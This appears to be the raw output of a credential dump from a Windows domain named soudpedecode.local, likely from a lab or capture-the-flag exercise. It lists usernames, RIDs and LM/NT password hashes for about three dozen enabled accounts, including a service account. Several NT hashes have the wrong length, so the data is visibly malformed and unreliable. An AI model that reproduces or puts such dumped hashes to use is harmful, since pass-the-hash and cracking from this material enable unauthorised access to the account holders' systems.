soudpedecode.local\wreed11:1114:aad3b435b51404eeaad3b435b51404ee:a581adb0e50ba5e4b4c4d95ca190471::: (status=Enabled)
soudpedecode.local\bgavin12:1115:aad3b435b51404eeaad3b435b51404ee:ba78418ef53add0841b76f103e487bf5::: (status=Enabled)
soudpedecode.local\ndelia13:1116:aad3b435b51404eeaad3b435b51404ee:341b52ef9e84306e4efbbf275428640e::: (status=Enabled)
soudpedecode.local\akevin14:1117:aad3b435b51404eeaad3b435b51404ee:cf31e20946a86113fe93a640d8dc64e::: (status=Enabled)
soudpedecode.local\kxenia15:1118:aad3b435b51404eeaad3b435b51404ee:a34ebec647265a56cfd0b45b45b60922::: (status=Enabled)
soudpedecode.local\ycody16:1119:aad3b435b51404eeaad3b435b51404ee:e50f0a735af2069ed26c13b1ad7df962::: (status=Enabled)
soudpedecode.local\qnora17:1120:aad3b435b51404eeaad3b435b51404ee:89237fedf5fb31cdd847a88e33b4d09b::: (status=Enabled)
soudpedecode.local\dyvonne18:1121:aad3b435b51404eeaad3b435b51404ee:9f72bb25fa1d246fa8c8fdb243bdd51fb::: (status=Enabled)
soudpedecode.local\qxenia19:1122:aad3b435b51404eeaad3b435b51404ee:a1535954f1808f130fee8b2c8f02a692::: (status=Enabled)
soudpedecode.local\rrreed20:1123:aad3b435b51404eeaad3b435b51404ee:aac6265594fead59fa15d377bbb2dcb::: (status=Enabled)
soudpedecode.local\icody21:1124:aad3b435b51404eeaad3b435b51404ee:b19f543d19fa53cc96c319c68e7c25a5::: (status=Enabled)
soudpedecode.local\ftom22:1125:aad3b435b51404eeaad3b435b51404ee:f10af34344849008dfdc5481c699073::: (status=Enabled)
soudpedecode.local\ijake23:1126:aad3b435b51404eeaad3b435b51404ee:801f7dab7e0d2381e2579a0d38ba7b66::: (status=Enabled)
soudpedecode.local\rpenny24:1127:aad3b435b51404eeaad3b435b51404ee:5fab1372261215c4b044a87783431864::: (status=Enabled)
soudpedecode.local\jiris25:1128:aad3b435b51404eeaad3b435b51404ee:aa6012bfc74a0369d29156021f3257bc::: (status=Enabled)
soudpedecode.local\colivia26:1129:aad3b435b51404eeaad3b435b51404ee:8f5f5bb40aff00e15459b391f7921b75::: (status=Enabled)
soudpedecode.local\pyvonne27:1130:aad3b435b51404eeaad3b435b51404ee:b6fd3ed6bb8d9e663ea1c94d7b389742::: (status=Enabled)
soudpedecode.local\zfrank28:1131:aad3b435b51404eeaad3b435b51404ee:047bd6340fd9ba02f528fdd53f3ef75d::: (status=Enabled)
soudpedecode.local\ybobb317:1132:aad3b435b51404eeaad3b435b51404ee:66e9626d4cbb5e7919562cc415412e1c::: (status=Enabled)
soudpedecode.local\file_svc:1133:aad3b435b51404eeaad3b435b51404ee:602f5c34346bc946f9ac2c0922cd9ef6::: (status=Enabled)
soudpedecode.local\charlie:1134:aad3b435b51404eeaad3b435b51404ee:9ffa5dd24a2e008b9aefcbe036696ebd::: (status=Enabled)
soudpedecode.local\qethan32:1135:aad3b435b51404eeaad3b435b51404ee:88a4fff75882e901d5297177e77b283ef::: (status=Enabled)
soudpedecode.local\khenry33:1136:aad3b435b51404eeaad3b435b51404ee:5b54e2ed8cb45535eed141497b4c4ad::: (status=Enabled)
soudpedecode.local\sjudy34:1137:aad3b435b51404eeaad3b435b51404ee:9c31a3819c17a301ee81fe6153736fe3::: (status=Enabled)
soudpedecode.local\rrachel35:1138:aad3b435b51404eeaad3b435b51404ee:2cdca6302c467b2e6e20ed6569b4ec05::: (status=Enabled)
soudpedecode.local\caiden36:1139:aad3b435b51404eeaad3b435b51404ee:fdd90e58478ff95f06e0ec63d843966c::: (status=Enabled)
soudpedecode.local\xbella37:1140:aad3b435b51404eeaad3b435b51404ee:cf73af1266f43400736bb947a39d5c2d::: (status=Enabled)
soudpedecode.local\smark38:1141:aad3b435b51404eeaad3b435b51404ee:c259b454d173d109570f548bc4c80586::: (status=Enabled)
soudpedecode.local\zximena448:1142:aad3b435b51404eeaad3b435b51404ee:09f26c79361eb03865275f61f0d60336::: (status=Enabled)
soudpedecode.local\fmike40:1143:aad3b435b51404eeaad3b435b51404ee:48e0d7983f09b77aebd1ad4bbd5854b5::: (status=Enabled)
soudpedecode.local\yeli41:1144:aad3b435b51404eeaad3b435b51404ee:47396dcddfeeb7941f2da82c80b08fc::: (status=Enabled)
soudpedecode.local\knina42:1145:aad3b435b51404eeaad3b435b51404ee:a3fd7598c3b7d31392c9dab7974b17bf::: (status=Enabled)
soudpedecode.local\vhelen43:1146:aad3b435b51404eeaad3b435b51404ee:0bb00e50f5b5543c96fc44de85574dc9::: (status=Enabled)
soudpedecode.local\xoliver44:1147:aad3b435b51404eeaad3b435b51404ee:8040440a5a5cc24d8396ddfaeca5449b::: (status=Enabled)
soudpedecode.local\jxander45:1148:aad3b435b51404eeaad3b435b51404ee:5b0891170d505561fc1d5e15324eebe3::: (status=Enabled)
soudpedecode.local\czane46:1149:aad3b435b51404eeaad3b435b51404ee:c359110d940bafdbbb4fbaaf939c04f::: (status=Enabled)